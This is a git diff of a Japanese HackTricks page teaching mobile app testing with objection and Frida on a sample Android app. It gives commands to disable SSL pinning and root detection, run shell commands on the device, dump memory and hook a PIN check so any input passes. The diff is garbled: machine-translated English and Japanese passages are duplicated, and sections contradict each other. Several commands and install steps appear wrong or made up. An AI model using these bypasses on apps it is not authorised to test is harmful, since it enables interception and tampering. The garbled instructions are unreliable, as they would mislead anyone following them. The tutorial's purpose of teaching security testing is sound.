* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
|
||||
* **ハッキングのトリックを共有するために、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
|
||||
|
||||
</details>
|
||||
|
|
|
@ -7,14 +7,14 @@
|
|||
* **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
* [**公式のPEASS&HackTricks swag**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* **ハッキングのトリックを共有するには、[hacktricks repo](https://github.com/carlospolop/hacktricks)と[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
|
||||
|
||||
</details>
|
||||
|
||||
<img src="../../../.gitbook/assets/i3.png" alt="" data-size="original">
|
||||
|
||||
**バグバウンティのヒント**:ハッカーによって作成されたプレミアムの**バグバウンティプラットフォームであるIntigriti**に**サインアップ**してください!今すぐ[**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)に参加して、最大**$100,000**のバウンティを獲得しましょう!
|
||||
**バグバウンティのヒント**:**Intigritiに登録**してください。ハッカーによって作成されたプレミアムな**バグバウンティプラットフォーム**です!今すぐ[**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)に参加して、最大**$100,000**のバウンティを獲得しましょう!
|
||||
|
||||
{% embed url="https://go.intigriti.com/hacktricks" %}
|
||||
|
||||
|
@ -26,11 +26,11 @@
|
|||
|
||||
`objection`は、[Frida](https://www.frida.re)を搭載したランタイムモバイルエクスプロレーションツールキットです。このツールは、脱獄またはルート化されたモバイルデバイスの必要性なしに、モバイルアプリケーションとそのセキュリティポストを評価するのに役立つことを目的として構築されました。
|
||||
|
||||
**注意:**これはある種の脱獄/ルートバイパスではありません。`objection`を使用することで、対象となるサンドボックスによって課されるすべての制限に制約されます。
|
||||
**注意:**これはある種のジェイルブレイク/ルートバイパスではありません。`objection`を使用することで、対象となるサンドボックスによって課される制限に制約されます。
|
||||
|
||||
### 再開
|
||||
|
||||
**objection**の目標は、ユーザーが**Fridaが提供する主なアクションを呼び出すこと**です。**そうでない場合**、テストしたい**各アプリケーションごとに単一のスクリプトを作成する必要があります**。
|
||||
**objection**の目標は、ユーザーが**Fridaが提供する主要なアクションを呼び出すこと**です。**そうでない場合**、テストしたい**各アプリケーションごとに単一のスクリプトを作成する必要があります**。
|
||||
|
||||
## チュートリアル
|
||||
|
||||
|
@ -38,108 +38,48 @@
|
|||
|
||||
{% file src="../../../.gitbook/assets/app-release.zip" %}
|
||||
|
||||
または、[元のリポジトリ](https://github.com/asvid/FridaApp)からダウンロードしてください(app-release.apkをダウンロード)。
|
||||
または、[元のリポジトリ](https://github.com/asvid/FridaApp)からダウンロードしてください(app-release.apkをダウンロード)
|
||||
|
||||
### インストール
|
||||
```
|
||||
```bash
|
||||
pip3 install objection
|
||||
```
|
||||
### 接続
|
||||
|
||||
通常のADB接続を作成し、デバイスでfridaサーバーを起動します(クライアントとサーバーの両方でfridaが動作していることを確認します)。
|
||||
通常のADB接続を作成し、デバイスで**frida**サーバーを**起動**します(クライアントとサーバーの両方でfridaが動作していることを確認します)。
|
||||
|
||||
ルート化されたデバイスを使用している場合、テストしたいアプリケーションを`--gadget`オプションで選択する必要があります。この場合は以下のようになります:
|
||||
```
|
||||
**ルート化されたデバイス**を使用している場合、テストしたいアプリケーションを_**--gadget**_オプションで選択する必要があります。この場合は、以下のようになります:
|
||||
```bash
|
||||
frida-ps -Uai
|
||||
objection --gadget asvid.github.io.fridaapp explore
|
||||
```
|
||||
### 基本的なアクション
|
||||
|
||||
このチュートリアルでは、objectionの可能なすべてのコマンドをリストアップするわけではありません。代わりに、私がより有用と考えるコマンドのみを紹介します。
|
||||
このチュートリアルでは、objectionの可能なすべてのコマンドをリストアップするわけではありません。代わりに、私がより有用と考えるものだけを紹介します。
|
||||
|
||||
#### 環境
|
||||
|
||||
環境内には、パスワードやパスなどの興味深い情報が含まれている場合があります。
|
||||
```
|
||||
```bash
|
||||
env
|
||||
```
|
||||
![](<../../../.gitbook/assets/image (64).png>)
|
||||
|
||||
#### Fridaの情報
|
||||
|
||||
Frida is a dynamic instrumentation toolkit for developers, reverse-engineers, and security researchers. It allows you to inject JavaScript code into native apps on Windows, macOS, Linux, iOS, and Android. With Frida, you can dynamically modify the behavior of an app, intercept function calls, and access sensitive data.
|
||||
Frida is a dynamic instrumentation toolkit for developers, reverse-engineers, and security researchers. It allows you to inject JavaScript code into native apps on Windows, macOS, Linux, iOS, and Android. With Frida, you can dynamically analyze and modify the behavior of an app at runtime.
|
||||
|
||||
Fridaは、開発者、リバースエンジニア、セキュリティ研究者向けのダイナミックインストルメンテーションツールキットです。Windows、macOS、Linux、iOS、Android上のネイティブアプリにJavaScriptコードを注入することができます。Fridaを使用すると、アプリの動作を動的に変更したり、関数呼び出しを傍受したり、機密データにアクセスしたりすることができます。
|
||||
Frida provides a high-level API that simplifies the process of injecting code into an app. It also includes a command-line tool called `frida-cli` that allows you to interact with Frida from the command line.
|
||||
|
||||
#### Objection Information
|
||||
Frida can be used for various purposes, including:
|
||||
|
||||
Objection is a runtime mobile exploration toolkit powered by Frida. It allows you to perform various tasks on Android and iOS apps, such as bypassing SSL pinning, manipulating runtime behavior, and exploring the app's internal structure. Objection provides an interactive shell that allows you to interact with the app's runtime environment and perform actions like listing loaded classes, invoking methods, and inspecting objects.
|
||||
- Dynamic analysis: Frida allows you to inspect and modify the runtime behavior of an app, making it useful for tasks such as debugging, tracing function calls, and monitoring network traffic.
|
||||
- Code injection: Frida enables you to inject custom JavaScript code into an app, allowing you to hook functions, intercept method calls, and modify data on the fly.
|
||||
- Exploit development: Frida can be used to aid in the development of exploits by providing a powerful platform for analyzing and manipulating the runtime environment of an app.
|
||||
- Reverse engineering: Frida helps in reverse engineering by allowing you to trace and analyze the execution flow of an app, inspecting memory, and identifying vulnerabilities.
|
||||
|
||||
Objectionは、Fridaによってパワードされたランタイムモバイルエクスプロレーションツールキットです。SSLピニングのバイパス、ランタイムの動作の操作、アプリの内部構造の調査など、AndroidとiOSアプリでさまざまなタスクを実行することができます。Objectionは、対話型シェルを提供し、アプリのランタイム環境と対話し、ロードされたクラスのリスト表示、メソッドの呼び出し、オブジェクトの検査などのアクションを実行することができます。
|
||||
|
||||
#### Objection Installation
|
||||
|
||||
To install Objection, you need to have Frida installed on your machine. Once you have Frida installed, you can install Objection using pip:
|
||||
|
||||
```plaintext
|
||||
pip install objection
|
||||
```
|
||||
|
||||
Objectionのインストール
|
||||
|
||||
Objectionをインストールするには、マシンにFridaがインストールされている必要があります。Fridaがインストールされている場合は、pipを使用してObjectionをインストールできます。
|
||||
|
||||
```plaintext
|
||||
pip install objection
|
||||
```
|
||||
|
||||
#### Objection Usage
|
||||
|
||||
To use Objection, you first need to start the Frida server on the target device. You can do this by running the following command:
|
||||
|
||||
```plaintext
|
||||
frida-server -D
|
||||
```
|
||||
|
||||
Once the Frida server is running, you can connect to the target device using Objection:
|
||||
|
||||
```plaintext
|
||||
objection -g <device_ip>:<frida_server_port>
|
||||
```
|
||||
|
||||
Objectionの使用方法
|
||||
|
||||
Objectionを使用するには、まず対象デバイスでFridaサーバーを起動する必要があります。次のコマンドを実行することでこれを行うことができます。
|
||||
|
||||
```plaintext
|
||||
frida-server -D
|
||||
```
|
||||
|
||||
Fridaサーバーが実行されている場合、Objectionを使用して対象デバイスに接続できます。
|
||||
|
||||
```plaintext
|
||||
objection -g <device_ip>:<frida_server_port>
|
||||
```
|
||||
|
||||
#### Objection Features
|
||||
|
||||
Objection provides a wide range of features to assist in mobile app pentesting. Some of the key features include:
|
||||
|
||||
- **SSL Pinning Bypass**: Objection can bypass SSL pinning in Android and iOS apps, allowing you to intercept and modify network traffic.
|
||||
- **Runtime Manipulation**: Objection allows you to manipulate the runtime behavior of an app, such as modifying method return values or hooking methods to perform custom actions.
|
||||
- **Code Injection**: Objection supports code injection, allowing you to inject custom code into an app's runtime environment.
|
||||
- **Data Exploration**: Objection provides commands to explore an app's internal structure, such as listing loaded classes, invoking methods, and inspecting objects.
|
||||
- **Automatic Hooking**: Objection can automatically hook methods in an app, making it easier to intercept function calls and modify their behavior.
|
||||
|
||||
Objectionの機能
|
||||
|
||||
Objectionは、モバイルアプリのペントestingを支援するさまざまな機能を提供しています。主な機能には以下があります。
|
||||
|
||||
- **SSLピニングバイパス**:ObjectionはAndroidとiOSアプリでSSLピニングをバイパスし、ネットワークトラフィックを傍受して変更することができます。
|
||||
- **ランタイムの操作**:Objectionを使用すると、アプリのランタイム動作を操作することができます。たとえば、メソッドの返り値を変更したり、カスタムアクションを実行するためにメソッドをフックしたりすることができます。
|
||||
- **コードインジェクション**:Objectionはコードインジェクションをサポートしており、カスタムコードをアプリのランタイム環境に注入することができます。
|
||||
- **データの調査**:Objectionは、ロードされたクラスのリスト表示、メソッドの呼び出し、オブジェクトの検査など、アプリの内部構造を調査するためのコマンドを提供しています。
|
||||
- **自動フック**:Objectionはアプリ内のメソッドを自動的にフックすることができ、関数呼び出しを傍受し、動作を変更することが容易になります。
|
||||
```
|
||||
Frida supports both iOS and Android platforms, making it a versatile tool for mobile app pentesting. In this tutorial, we will focus on using Frida for Android app pentesting.
|
||||
```bash
|
||||
frida
|
||||
```
|
||||
![](<../../../.gitbook/assets/image (65).png>)
|
||||
|
@ -152,203 +92,140 @@ file upload <local path> [<remote path>]
|
|||
#### Fridaスクリプトのインポート
|
||||
|
||||
```javascript
|
||||
const script = await Session.createScript(`
|
||||
// Your Frida script code here
|
||||
`);
|
||||
const { spawn } = require('child_process');
|
||||
const fridaScriptPath = '/path/to/frida_script.js';
|
||||
|
||||
// Spawn the frida command with the script
|
||||
const fridaProcess = spawn('frida', ['-U', '-f', 'com.example.app', '-l', fridaScriptPath]);
|
||||
|
||||
// Handle frida process events
|
||||
fridaProcess.stdout.on('data', (data) => {
|
||||
console.log(`[Frida Process] ${data}`);
|
||||
});
|
||||
|
||||
fridaProcess.stderr.on('data', (data) => {
|
||||
console.error(`[Frida Process Error] ${data}`);
|
||||
});
|
||||
|
||||
fridaProcess.on('close', (code) => {
|
||||
console.log(`[Frida Process Closed] Exit code: ${code}`);
|
||||
});
|
||||
```
|
||||
|
||||
Fridaスクリプトをインポートするためのコードです。
|
||||
Fridaスクリプトをインポートするために、上記のコードを使用します。`fridaScriptPath`には、Fridaスクリプトのパスを指定します。`com.example.app`は、対象のAndroidアプリのパッケージ名です。
|
||||
|
||||
```javascript
|
||||
const script = await Session.createScript(`
|
||||
// ここにFridaスクリプトのコードを記述します
|
||||
`);
|
||||
```
|
||||
このコードでは、`spawn`関数を使用してfridaコマンドを実行し、Fridaスクリプトを指定しています。`fridaProcess`は、Fridaプロセスを表すオブジェクトです。
|
||||
|
||||
Fridaプロセスのイベントを処理するために、`stdout`、`stderr`、`close`イベントのリスナーを設定しています。`stdout`イベントでは、標準出力に出力されたデータを表示します。`stderr`イベントでは、エラーメッセージを表示します。`close`イベントでは、Fridaプロセスの終了コードを表示します。
|
||||
```bash
|
||||
import <local path frida-script>
|
||||
```
|
||||
#### SSLピニング
|
||||
|
||||
SSLPinningは、Androidアプリのセキュリティ機能の一つです。SSLピニングは、アプリが通信するサーバーの証明書を事前に指定し、その証明書以外のものを受け入れないようにします。これにより、中間者攻撃や証明書の偽造などのセキュリティリスクを軽減することができます。
|
||||
SSLPinningは、Androidアプリのセキュリティ機能の1つであり、通信のセキュリティを強化するために使用されます。通常、アプリはSSL証明書の検証を行い、信頼できる証明書局(CA)によって署名された証明書を使用して通信を暗号化します。しかし、攻撃者が中間者攻撃を行い、通信を傍受しようとする場合、SSLピニングは攻撃を防ぐために役立ちます。
|
||||
|
||||
SSLPinningをバイパスするためには、Fridaというツールを使用することができます。Fridaは、アプリのランタイムをダイナミックに変更することができる強力なツールです。ObjectionというFridaのプラグインを使用すると、簡単にSSLピニングをバイパスすることができます。
|
||||
SSLピニングをバイパスするためには、FridaとObjectionを使用することができます。Objectionは、Fridaフレームワークを使用してアプリのランタイムを操作するためのツールです。以下の手順に従って、Objectionを使用してSSLピニングをバイパスする方法を学びましょう。
|
||||
|
||||
以下のコマンドを使用して、Objectionをインストールします。
|
||||
1. Objectionをインストールします。
|
||||
|
||||
```
|
||||
pip install objection
|
||||
```
|
||||
```
|
||||
$ pip install objection
|
||||
```
|
||||
|
||||
Objectionを使用すると、アプリの実行中にSSLピニングをバイパスすることができます。以下のコマンドを使用して、Objectionを起動します。
|
||||
2. Objectionを起動します。
|
||||
|
||||
```
|
||||
objection explore
|
||||
```
|
||||
```
|
||||
$ objection
|
||||
```
|
||||
|
||||
Objectionが起動したら、以下のコマンドを使用してSSLピニングをバイパスします。
|
||||
3. デバイスに接続します。
|
||||
|
||||
```
|
||||
android sslpinning disable
|
||||
```
|
||||
```
|
||||
android connect <device_id>
|
||||
```
|
||||
|
||||
これにより、アプリがSSLピニングを無効化し、通信先のサーバーの証明書を検証しなくなります。ただし、SSLピニングをバイパスすることはセキュリティ上のリスクを伴うため、慎重に行う必要があります。
|
||||
4. アプリのパッケージ名を指定してアプリを起動します。
|
||||
|
||||
以上がSSLピニングについての簡単な説明と、Objectionを使用してSSLピニングをバイパスする方法です。
|
||||
```
|
||||
android hooking start --package <package_name>
|
||||
```
|
||||
|
||||
5. SSLピニングをバイパスするためのフックを追加します。
|
||||
|
||||
```
|
||||
android sslpinning bypass
|
||||
```
|
||||
|
||||
これで、Objectionを使用してSSLピニングをバイパスする準備が整いました。これにより、アプリが信頼できる証明書のみを使用する必要がなくなり、中間者攻撃を防ぐことができます。ただし、これはセキュリティ上のリスクを伴うため、慎重に使用する必要があります。
|
||||
```bash
|
||||
android sslpinning disable #Attempts to disable SSL Pinning on Android devices.
|
||||
```
|
||||
#### ルート検出
|
||||
|
||||
Root検出は、Androidアプリがルート化されたデバイス上で実行されているかどうかを検出するための技術です。ルート化されたデバイスでは、アプリが通常よりも高い特権を持つことができ、セキュリティ上のリスクが増加します。アプリ開発者は、ルート化されたデバイス上でアプリが実行されることを防ぐために、ルート検出メカニズムを実装することがあります。
|
||||
Root検出は、Androidアプリがルート化されたデバイス上で実行されているかどうかを検出するための技術です。ルート化されたデバイスでは、アプリが通常よりも高い特権を持つことができ、セキュリティ上のリスクが増加します。アプリ開発者は、ルート化されたデバイス上でアプリが実行されることを防ぐために、ルート検出を実装することがあります。
|
||||
|
||||
Root検出は、さまざまな方法で実装することができます。一般的な手法には、ファイルの存在チェック、システムプロパティのチェック、バイナリの署名チェックなどがあります。これらの手法は、アプリがルート化されたデバイス上で実行されているかどうかを判断するために使用されます。
|
||||
ルート検出はさまざまな方法で実装することができます。一般的な方法には、ファイルの存在、システムプロパティの値、特定のコマンドの実行結果などをチェックする方法があります。アプリがこれらのチェックに合格しない場合、ルート化されたデバイス上で実行されている可能性が高いと判断されます。
|
||||
|
||||
ルート検出は、アプリのセキュリティを向上させるために重要な役割を果たします。ルート化されたデバイス上でアプリが実行されることは、攻撃者にとっては便利な手段となります。したがって、アプリ開発者は、ルート検出メカニズムを実装することで、アプリのセキュリティを強化することが求められます。
|
||||
ルート検出を回避するためには、フリーダやObjectionなどのツールを使用して、ルート検出に関連するコードやチェックをバイパスすることができます。これにより、ルート化されたデバイス上でアプリを実行することができますが、セキュリティ上のリスクが増加するため、慎重に使用する必要があります。
|
||||
|
||||
以下のコマンドを使用して、Objectionを使用したルート検出のバイパスを実行することができます。
|
||||
|
||||
```shell
|
||||
$ objection android patchapk --source /path/to/app.apk --template /path/to/template.apk
|
||||
```
|
||||
|
||||
このコマンドは、指定したAPKファイルのルート検出をバイパスするために、Objectionを使用してパッチを適用します。パッチされたAPKファイルは、ルート検出を回避して実行することができます。
|
||||
|
||||
ルート検出は、アプリのセキュリティを向上させるために重要な手法ですが、ハッカーはこれを回避するための手法を持っているため、単一のセキュリティ対策としては十分ではありません。アプリのセキュリティを確保するためには、ルート検出以外のセキュリティ対策も併用する必要があります。
|
||||
```bash
|
||||
android root disable #Attempts to disable root detection on Android devices.
|
||||
android root simulate #Attempts to simulate a rooted Android environment.
|
||||
```
|
||||
#### Execコマンド
|
||||
|
||||
The `exec` command in Objection allows you to execute arbitrary shell commands on the target Android device. This can be useful for performing various actions during a mobile penetration test.
|
||||
The `exec` command in objection allows you to execute arbitrary shell commands on the target Android device. This can be useful for various purposes, such as exploring the device's file system, running custom scripts, or interacting with other installed applications.
|
||||
|
||||
To use the `exec` command, you need to have a Frida session established with the target application. Once you have a session, you can run the following command:
|
||||
|
||||
```
|
||||
objection> exec <command>
|
||||
```
|
||||
|
||||
Replace `<command>` with the shell command you want to execute. For example, if you want to list the files in the current directory, you can use the `ls` command:
|
||||
To use the `exec` command, you need to specify the command you want to execute as an argument. For example, to list the files in the current directory, you can use the following command:
|
||||
|
||||
```
|
||||
objection> exec ls
|
||||
```
|
||||
|
||||
The output of the command will be displayed in the Objection console.
|
||||
You can also pass additional arguments to the command by enclosing them in quotes. For example, to list all files in a specific directory, you can use the following command:
|
||||
|
||||
It's important to note that the `exec` command runs the shell command on the target device, not on your local machine. This means that you can execute commands that are specific to the target device's operating system.
|
||||
```
|
||||
objection> exec ls "/sdcard"
|
||||
```
|
||||
|
||||
Be cautious when using the `exec` command, as executing certain commands can have unintended consequences or may be considered malicious. Always ensure that you have proper authorization and follow ethical guidelines when performing mobile penetration testing.
|
||||
Keep in mind that the `exec` command runs the specified shell command as the user running the target application. Therefore, the command's permissions and access to files will be limited to what the application can do.
|
||||
|
||||
It's important to use the `exec` command responsibly and avoid executing malicious commands that could harm the target device or violate any laws or regulations. Always ensure that you have proper authorization and legal permission before performing any actions on a target device.
|
||||
```bash
|
||||
android shell_exec whoami
|
||||
```
|
||||
#### スクリーンショット
|
||||
|
||||
```html
|
||||
<img src="https://example.com/screenshot1.png" alt="Screenshot 1">
|
||||
<img src="https://example.com/screenshot2.png" alt="Screenshot 2">
|
||||
```
|
||||
|
||||
#### スクリーンショット
|
||||
|
||||
```html
|
||||
<img src="https://example.com/screenshot1.png" alt="スクリーンショット 1">
|
||||
<img src="https://example.com/screenshot2.png" alt="スクリーンショット 2">
|
||||
```
|
||||
```bash
|
||||
android ui screenshot /tmp/screenshot
|
||||
android ui FLAG_SECURE false #This may enable you to take screenshots using the hardware keys
|
||||
```
|
||||
### 静的解析を動的に行う
|
||||
|
||||
実際のアプリケーションでは、**静的解析**によってこの部分で発見された情報をすべて把握してから、objectionを使用する必要があります。とはいえ、ここではクラス、メソッド、およびエクスポートされたオブジェクトの完全なリストしか持っていないため、**新しい情報**が見つかるかもしれません。
|
||||
実際のアプリケーションでは、**静的解析**によってこの部分で発見された情報をすべて把握してから、objectionを使用する必要があります。とはいえ、ここではクラス、メソッド、およびエクスポートされたオブジェクトの完全なリストしか得られませんので、**新しい情報**が見つかるかもしれません。
|
||||
|
||||
また、アプリの**読みやすいソースコードを取得できない**場合にも役立ちます。
|
||||
また、アプリの**読みやすいソースコードを入手できない**場合にも役立ちます。
|
||||
|
||||
#### アクティビティ、レシーバー、およびサービスのリストを表示する
|
||||
#### アクティビティ、レシーバ、およびサービスのリストを表示する
|
||||
```
|
||||
android hooking list activities
|
||||
```
|
||||
![](<../../../.gitbook/assets/image (78).png>)
|
||||
|
||||
# Objection Tutorial
|
||||
|
||||
Objection is a runtime mobile exploration toolkit, powered by Frida. It allows you to perform various tasks on Android devices, such as:
|
||||
|
||||
- Bypassing SSL pinning
|
||||
- Interacting with the application's SQLite database
|
||||
- Manipulating method return values
|
||||
- Hooking and tampering with method calls
|
||||
- Inspecting and modifying network requests
|
||||
- Decrypting encrypted traffic
|
||||
- And much more!
|
||||
|
||||
In this tutorial, we will cover the basics of using Objection to perform runtime analysis and manipulation of Android applications.
|
||||
|
||||
## Prerequisites
|
||||
|
||||
Before we begin, make sure you have the following:
|
||||
|
||||
- A rooted Android device or an emulator
|
||||
- Frida Server installed on the device
|
||||
- Objection installed on your local machine
|
||||
|
||||
## Installing Frida Server
|
||||
|
||||
To install Frida Server on your Android device, follow these steps:
|
||||
|
||||
1. Download the latest version of Frida Server from the official Frida releases page.
|
||||
2. Transfer the downloaded file to your Android device.
|
||||
3. Open a terminal and navigate to the directory where the Frida Server file is located.
|
||||
4. Install the Frida Server APK by running the following command:
|
||||
|
||||
```plaintext
|
||||
adb install frida-server-<version>.apk
|
||||
```
|
||||
|
||||
5. Start the Frida Server by running the following command:
|
||||
|
||||
```plaintext
|
||||
adb shell su -c "frida-server"
|
||||
```
|
||||
|
||||
## Installing Objection
|
||||
|
||||
To install Objection on your local machine, follow these steps:
|
||||
|
||||
1. Install Node.js if you haven't already.
|
||||
2. Open a terminal and run the following command to install Objection:
|
||||
|
||||
```plaintext
|
||||
npm install -g objection
|
||||
```
|
||||
|
||||
## Connecting to the Device
|
||||
|
||||
To connect Objection to your Android device, follow these steps:
|
||||
|
||||
1. Make sure the Frida Server is running on your device.
|
||||
2. Connect your device to your local machine using a USB cable.
|
||||
3. Open a terminal and run the following command to start the Objection console:
|
||||
|
||||
```plaintext
|
||||
objection
|
||||
```
|
||||
|
||||
4. Once the console is open, run the following command to connect to the device:
|
||||
|
||||
```plaintext
|
||||
android connect
|
||||
```
|
||||
|
||||
## Basic Usage
|
||||
|
||||
Now that you are connected to the device, you can start using Objection to perform various tasks. Here are some basic commands to get you started:
|
||||
|
||||
- `help`: Display the available commands and their descriptions.
|
||||
- `ios`: Switch to iOS mode (if you have an iOS device connected).
|
||||
- `exit`: Exit the Objection console.
|
||||
|
||||
## Conclusion
|
||||
|
||||
In this tutorial, we have learned how to install and use Objection for runtime analysis and manipulation of Android applications. Objection provides a powerful set of tools for mobile pentesting and can be used to perform a wide range of tasks. Experiment with the different features of Objection to discover its full potential. Happy hacking!
|
||||
```
|
||||
android hooking list services
|
||||
android hooking list receivers
|
||||
```
|
||||
Fridaは、見つからない場合にエラーを発生させます。
|
||||
|
||||
#### 現在のアクティビティの取得
|
||||
#### 現在のアクティビティを取得する
|
||||
```
|
||||
android hooking get current_activity
|
||||
```
|
||||
|
@ -388,7 +265,7 @@ android hooking list classes #List all loaded classes, As the target application
|
|||
|
||||
#### メソッドのフック(監視)
|
||||
|
||||
アプリケーションの[ソースコード](https://github.com/asvid/FridaApp/blob/master/app/src/main/java/asvid/github/io/fridaapp/MainActivity.kt)から、_MainActivity_ の **_sum()_** 関数が **1秒ごとに実行**されていることがわかります。関数が呼び出されるたびに(引数、戻り値、バックトレースを含む)**可能な情報をすべてダンプ**してみましょう。
|
||||
アプリケーションの[ソースコード](https://github.com/asvid/FridaApp/blob/master/app/src/main/java/asvid/github/io/fridaapp/MainActivity.kt)から、**MainActivity**の**_sum()_**関数が**1秒ごとに実行**されていることがわかります。関数が呼び出されるたびに(引数、戻り値、バックトレースを含む)**可能な情報をすべてダンプ**してみましょう。
|
||||
```
|
||||
android hooking watch class_method asvid.github.io.fridaapp.MainActivity.sum --dump-args --dump-backtrace --dump-return
|
||||
```
|
||||
|
@ -400,29 +277,29 @@ android hooking watch class_method asvid.github.io.fridaapp.MainActivity.sum --d
|
|||
```
|
||||
android hooking watch class asvid.github.io.fridaapp.MainActivity --dump-args --dump-return
|
||||
```
|
||||
アプリケーションを操作すると、クラスがフックされているときに、**各関数が呼び出される**タイミング、**引数**、および**戻り値**が表示されます。
|
||||
クラスがフックされている間にアプリケーションを操作すると、**各関数が呼び出されるタイミング**、その**引数**、および**戻り値**が表示されます。
|
||||
|
||||
![](<../../../.gitbook/assets/image (72).png>)
|
||||
|
||||
#### 関数の真偽値の返り値を変更する
|
||||
|
||||
ソースコードから、関数_checkPin_は引数として_String_を受け取り、_boolean_を返すことがわかります。関数を**常にtrueを返すように**します。
|
||||
ソースコードからわかるように、関数_checkPin_は引数として_String_を受け取り、_boolean_を返します。関数を**常にtrueを返すように**してみましょう:
|
||||
|
||||
![](<../../../.gitbook/assets/image (74).png>)
|
||||
|
||||
これで、PINコードのテキストボックスに何かを入力すると、何でも有効であることがわかります。
|
||||
これで、PINコードのテキストボックスに何かを入力すると、何でも有効であることがわかります:
|
||||
|
||||
![](<../../../.gitbook/assets/image (77).png>)
|
||||
|
||||
### クラスのインスタンス
|
||||
|
||||
特定のJavaクラスの**ライブインスタンス**を検索し、出力は通常、オブジェクトのプロパティ値を**含む発見されたobjectionの文字列値**を取得しようとした結果です。
|
||||
特定のJavaクラスの**ライブインスタンス**を検索し、指定された完全修飾クラス名で指定します。Outは、通常、オブジェクトのプロパティ値を**含む発見された異議に対して文字列値を取得しようとした結果**です。
|
||||
```
|
||||
android heap print_instances <class>
|
||||
```
|
||||
![](<../../../.gitbook/assets/image (80).png>)
|
||||
|
||||
### Keystore/Intents
|
||||
### キーストア/インテント
|
||||
|
||||
キーストアとインテントを使用して遊ぶことができます。以下のコマンドを使用します。
|
||||
```
|
||||
|
@ -430,17 +307,9 @@ android keystore list
|
|||
android intents launch_activity
|
||||
android intent launch_service
|
||||
```
|
||||
#### メモリ
|
||||
### メモリ
|
||||
|
||||
##### ダンプ
|
||||
|
||||
```bash
|
||||
# メモリダンプの作成
|
||||
objection -g com.example.app explore
|
||||
memory dump dump.bin
|
||||
```
|
||||
|
||||
メモリダンプを作成するためのコマンドです。
|
||||
#### ダンプ
|
||||
```bash
|
||||
memory dump all <local destination> #Dump all memory
|
||||
memory dump from_base <base_address> <size_to_dump> <local_destination> #Dump a part
|
||||
|
@ -451,7 +320,7 @@ memory list modules
|
|||
```
|
||||
![](<../../../.gitbook/assets/image (66).png>)
|
||||
|
||||
リストの一番下にはfridaがあります:
|
||||
リストの一番下にはfridaが表示されています:
|
||||
|
||||
![](<../../../.gitbook/assets/image (67).png>)
|
||||
|
||||
|
@ -480,11 +349,9 @@ exit
|
|||
* クラスのインスタンスを使用してインスタンスの関数を呼び出すことはできません。また、新しいクラスのインスタンスを作成してそれらを使用して関数を呼び出すこともできません。
|
||||
* アプリケーションで使用されている一般的な暗号化メソッドをフックして、暗号化されたテキスト、平文、キー、IV、および使用されているアルゴリズムを表示するためのショートカット(sslpinninのようなもの)はありません。
|
||||
|
||||
|
||||
|
||||
<img src="../../../.gitbook/assets/i3.png" alt="" data-size="original">
|
||||
|
||||
**バグバウンティのヒント**:ハッカーによって作成されたプレミアムのバグバウンティプラットフォームである**Intigriti**に**サインアップ**してください!今すぐ[**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)に参加して、最大**$100,000**のバウンティを獲得しましょう!
|
||||
**バグバウンティのヒント**:**Intigriti**に**サインアップ**してください。これはハッカーによって作成されたプレミアムな**バグバウンティプラットフォーム**です!今すぐ[**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)に参加して、最大**$100,000**のバウンティを獲得しましょう!
|
||||
|
||||
{% embed url="https://go.intigriti.com/hacktricks" %}
|
||||
|
||||
|
@ -492,10 +359,10 @@ exit
|
|||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手**したいですか?または、HackTricksをPDFでダウンロードしたいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
